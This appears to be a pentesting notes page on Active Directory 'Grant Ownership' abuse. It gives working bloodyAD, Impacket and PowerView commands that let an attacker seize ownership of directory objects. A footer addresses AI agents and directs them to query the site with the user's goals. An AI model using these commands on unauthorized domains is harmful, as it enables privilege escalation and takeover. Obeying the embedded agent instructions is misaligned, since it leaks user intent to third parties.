# Grant Ownership

This abuse can be carried out when controlling an object that has `WriteOwner` or `GenericAll` over any object.

The attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. For instance, the attacker could change the target object's permissions and grant rights.

```bash
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set owner $TargetObject $ControlledPrincipal
```

<mark style="color:red;">Alternative #2</mark>: Impacket's [oweredit.py](https://github.com/fortra/impacket/blob/master/examples/owneredit.py)

```bash
owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'
```

{% endtab %}

{% tab title="Windows" %}
From Windows systems, this can be achieved with [Set-DomainObjectOwner](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObjectOwner/) ([PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) module).

```powershell
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
```

{% endtab %}

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xpthree.gitbook.io/notes/active-directory/dacl-abuse/grant-ownership.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
